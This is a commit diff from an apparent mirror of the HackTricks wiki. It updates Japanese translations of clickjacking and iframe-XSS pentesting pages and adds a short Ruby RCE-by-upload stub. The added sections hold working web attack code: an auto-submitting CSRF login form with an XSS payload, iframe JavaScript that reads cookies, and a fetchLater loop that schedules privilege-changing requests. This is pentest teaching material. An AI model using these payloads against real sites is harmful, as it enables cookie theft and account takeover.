mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
2cb52cfeb4
commit
c077839920
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ファイルアップロードによるRCE
|
||||
|
||||
[この記事](https://www.offsec.com/blog/cve-2024-46986/)で説明されているように、`config/initializers/`のような敏感なディレクトリに`.rb`ファイルをアップロードすると、Ruby on Railsアプリケーションでリモートコード実行(RCE)につながる可能性があります。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,15 +4,15 @@
|
||||
|
||||
## What is Clickjacking
|
||||
|
||||
クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙され**ます。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。
|
||||
クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**を**クリックするように騙されます**。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
時には、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することがあります。
|
||||
時には、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることが可能です**。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。
|
||||
|
||||
### Populate form with Drag\&Drop
|
||||
|
||||
ユーザーに**フォームを埋めてもらいたい**が、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない場合は、**Drag\&Drop**してもらうように頼むだけで、あなたの制御したデータを書き込むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。
|
||||
ユーザーに**フォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書かせたくない場合**、ユーザーに**Drag\&Drop**してもらうように頼むだけで、あなたの制御されたデータを書き込むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。
|
||||
|
||||
### Basic Payload
|
||||
```css
|
||||
@ -94,18 +94,18 @@ background: #F00;
|
||||
あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたのみが設定および読み取ることができる**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。\
|
||||
攻撃者は、そのページに対して**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ための**クリックジャッキング**攻撃を準備することができます。したがって、**フォームが送信されると**、値が変更され、**ユーザーはXSSを実行します**。
|
||||
|
||||
### ダブルクリックジャッキング
|
||||
### DoubleClickjacking
|
||||
|
||||
最初に[この投稿で説明された](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)この技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、マウスダウンとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、**犠牲者が実際に犠牲者のページの正当なボタンをクリックする**ことを可能にします。
|
||||
|
||||
このビデオで例を見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
例はこのビデオで見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
コードの例は[このページ](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)にあります。
|
||||
コードの例は[このページ](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)で見つけることができます。
|
||||
|
||||
> [!WARNING]
|
||||
> この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は**OAuthの権限を受け入れるプロンプトのように、1回のクリックで実行できる敏感なアクションを見つける必要があります**。
|
||||
> この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は**1回のクリックで実行できる敏感なアクション、例えばOAuthの権限を受け入れるプロンプト**を見つける必要があります。
|
||||
|
||||
## クリックジャッキングを軽減するための戦略
|
||||
## Clickjackingを軽減するための戦略
|
||||
|
||||
### クライアントサイドの防御
|
||||
|
||||
@ -116,9 +116,9 @@ background: #F00;
|
||||
- 見えないフレームへのクリックを防ぐ。
|
||||
- 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。
|
||||
|
||||
ただし、これらのフレームバスティングスクリプトは回避される可能性があります:
|
||||
しかし、これらのフレームバスティングスクリプトは回避される可能性があります:
|
||||
|
||||
- **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。
|
||||
- **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptのサポートの欠如に基づいてこれらのスクリプトをブロックする可能性があります。
|
||||
- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。
|
||||
```html
|
||||
<iframe
|
||||
@ -155,7 +155,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
### `child-src` と `frame-src` を使用したContent Security Policy (CSP)
|
||||
|
||||
**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可すべきソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。
|
||||
**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可するソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。
|
||||
|
||||
#### `frame-src` ディレクティブ
|
||||
|
||||
@ -168,8 +168,8 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
|
||||
#### `child-src` ディレクティブ
|
||||
|
||||
- ウェブワーカーとフレームの有効なソースを設定するために CSP レベル 2 で導入されました。
|
||||
- frame-src と worker-src のフォールバックとして機能します。
|
||||
- ウェブワーカーとフレームの有効なソースを設定するためにCSPレベル2で導入されました。
|
||||
- frame-srcおよびworker-srcのフォールバックとして機能します。
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
```
|
||||
@ -179,9 +179,9 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
- 非推奨: child-src は frame-src と worker-src に置き換えられつつあります。
|
||||
- フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。
|
||||
- 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。
|
||||
- 厳格なソース定義: 悪用を防ぐために、指令には信頼できるソースのみを含めてください。
|
||||
|
||||
#### JavaScript フレームバスティングスクリプト
|
||||
#### JavaScript フレームブレイキングスクリプト
|
||||
|
||||
完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:
|
||||
```javascript
|
||||
|
@ -10,7 +10,7 @@ iframedページのコンテンツを示す方法は3つあります:
|
||||
- `data:`プロトコルを使用してコンテンツを示す`src`を介して
|
||||
- コンテンツを示す`srcdoc`を介して
|
||||
|
||||
**親と子の変数にアクセスする**
|
||||
**親と子の変数へのアクセス**
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
@ -45,13 +45,13 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
前のHTMLにHTTPサーバー(例えば`python3 -m http.server`)を介してアクセスすると、すべてのスクリプトが実行されることに気付くでしょう(CSPがそれを防いでいないため)。**親は任意のiframe内の`secret`変数にアクセスできません**が、**if2とif3(同一サイトと見なされる)は元のウィンドウの秘密にアクセスできます**。\
|
||||
if4は`null`オリジンと見なされることに注意してください。
|
||||
前のHTMLにHTTPサーバー(例えば`python3 -m http.server`)を介してアクセスすると、すべてのスクリプトが実行されることに気付くでしょう(CSPがそれを防いでいないため)。**親は任意のiframe内の`secret`変数にアクセスできません**が、**同サイトと見なされるif2およびif3のみが元のウィンドウの秘密にアクセスできます**。\
|
||||
if4が`null`オリジンと見なされることに注意してください。
|
||||
|
||||
### CSPを持つIframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
### CSPを持つiframe <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> 次のバイパスでは、iframeページへの応答にJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。
|
||||
> [!TIP]
|
||||
> 次のバイパスでは、iframeページへのレスポンスにJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。
|
||||
|
||||
`script-src`の`self`値は、`data:`プロトコルや`srcdoc`属性を使用してJSコードの実行を許可しません。\
|
||||
しかし、CSPの`none`値であっても、`src`属性にURL(完全なものまたはパスのみ)を指定したiframeの実行は許可されます。\
|
||||
@ -77,11 +77,11 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
</html>
|
||||
```
|
||||
注意してください、**前のCSPはインラインスクリプトの実行のみを許可します**。\
|
||||
しかし、**`if1`と`if2`スクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできるでしょう**。
|
||||
しかし、**`if1`と`if2`スクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできるようになります**。
|
||||
|
||||
.png>)
|
||||
|
||||
したがって、**JSファイルをサーバーにアップロードし、`script-src 'none'`であってもiframeを介して読み込むことができればCSPをバイパスすることが可能です**。これは**同じサイトのJSONPエンドポイントを悪用することで潜在的に行うこともできます**。
|
||||
したがって、**サーバーにJSファイルをアップロードし、`script-src 'none'`であってもiframeを介して読み込むことができればCSPをバイパスすることが可能です**。これは**同じサイトのJSONPエンドポイントを悪用することでも潜在的に行うことができます**。
|
||||
|
||||
次のシナリオでテストできます。ここでは、`script-src 'none'`であってもクッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください:
|
||||
```python
|
||||
@ -103,7 +103,7 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### その他のペイロードが発見された <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
### その他のペイロードが発見された野生の中で <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -126,17 +126,64 @@ iframe内のコンテンツは、`sandbox`属性を使用することで追加
|
||||
- スクリプトの実行は禁止されます。
|
||||
- 特定のAPIへのアクセスが無効になります。
|
||||
- リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
|
||||
- `<embed>`、`<object>`、`<applet>`、または類似のタグを介したプラグインの使用が禁止されます。
|
||||
- コンテンツ自体によるコンテンツのトップレベルのブラウジングコンテキストのナビゲーションが防止されます。
|
||||
- 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスがブロックされます。
|
||||
- `<embed>`、`<object>`、`<applet>`、または類似のタグを介したプラグインの使用は許可されません。
|
||||
- コンテンツ自体によるトップレベルのブラウジングコンテキストのナビゲーションが防止されます。
|
||||
- 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスはブロックされます。
|
||||
|
||||
属性の値は空のまま(`sandbox=""`)にして、前述のすべての制限を適用できます。あるいは、iframeが特定の制限から免除されるように、スペースで区切られた特定の値のリストに設定することもできます。
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)で説明されているように、iframeの`credentialless`フラグは、リクエストに資格情報を送信せずにiframe内にページを読み込むために使用され、iframe内で読み込まれたページの同一オリジンポリシー(SOP)を維持します。
|
||||
|
||||
これにより、iframeは親ページに読み込まれた同じSOP内の別のiframeから機密情報にアクセスできます:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- 攻撃の例: Self-XSS + CSRF
|
||||
|
||||
この攻撃では、攻撃者は2つのiframeを持つ悪意のあるウェブページを準備します:
|
||||
|
||||
- `credentialless`フラグを持つ被害者のページを読み込むiframeと、XSSをトリガーするCSRF (ユーザーのユーザー名にSelf-XSSを想像してください):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- 実際にユーザーがログインしている別のiframe ( `credentialless`フラグなし)。
|
||||
|
||||
その後、XSSからは同じSOPを持つ他のiframeにアクセスでき、例えばクッキーを盗むことができます:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater 攻撃
|
||||
|
||||
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)に示されているように、API `fetchLater` はリクエストを後で実行するように設定することを可能にします(一定の時間後)。したがって、これは例えば、攻撃者のセッション内で被害者をログインさせ(Self-XSSを使用)、`fetchLater` リクエストを設定し(例えば、現在のユーザーのパスワードを変更するため)、攻撃者のセッションからログアウトするために悪用される可能性があります。その後、被害者は自分のセッションにログインし、`fetchLater` リクエストが実行され、被害者のパスワードが攻撃者によって設定されたものに変更されます。
|
||||
|
||||
このように、被害者のURLがiframe内で読み込めない場合(CSPやその他の制限のため)、攻撃者は依然として被害者のセッション内でリクエストを実行することができます。
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## SOPにおけるIframes
|
||||
|
||||
以下のページを確認してください:
|
||||
次のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
|
||||
|
Loading…
x
Reference in New Issue
Block a user